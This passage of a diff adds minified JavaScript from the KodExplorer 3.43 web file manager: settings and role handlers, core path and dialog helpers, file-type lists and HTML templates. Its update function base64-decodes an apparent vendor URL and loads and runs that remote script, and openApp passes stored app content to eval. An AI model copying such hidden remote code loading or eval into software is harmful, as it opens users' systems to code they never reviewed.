.combox:eq(1) .tag").removeClass("this"),$(".group_editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},l=function(){$(".group_editor .tag").live("click",function(){var e=$(this);if(select=!1,e.toggleClass("this"),e.hasClass("this")?(select=!0,e.find("input").attr("checked",!0)):(select=!1,e.find("input").removeAttr("checked")),e.parent().hasClass("combox")){var t=e.index();1==t&&0==select&&(e.parent().find(".tag").removeClass("this"),e.parent().find("input").removeAttr("checked")),1!=t&&1==select&&(e.parent().find(".tag:eq(0)").addClass("this"),e.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system_role li.role_cell").live("click",function(){n($(this).attr("data-role-id"))}),$("#content_system_role [data-action]").live("click",function(e){var i=$(this).attr("data-action");switch($(this),i){case"role_delete":s(t);break;case"role_edit_save":o();break;case"revert_all":r();break;default:}stopPP(e)})},c=function(t){var i=e[t];return i?i.name:'<span style="color:#f00">null</span>'},d=function(){var t={};return $.each(e,function(e,i){t[e]=i.name}),t};return l(),{init:i,getList:d,setSelect:n}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/setting/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","./fav","./setting","./system/system_setting","./system/system","lib/ztree/ztree","./system/system_member","./system/system_group","./system/system_role","./system/system_group_role"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),e("lib/contextMenu/jquery-contextMenu"),core=e("../../common/core"),Fav=e("./fav"),Setting=e("./setting"),e("./system/system_setting"),System=e("./system/system"),core.init()}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div 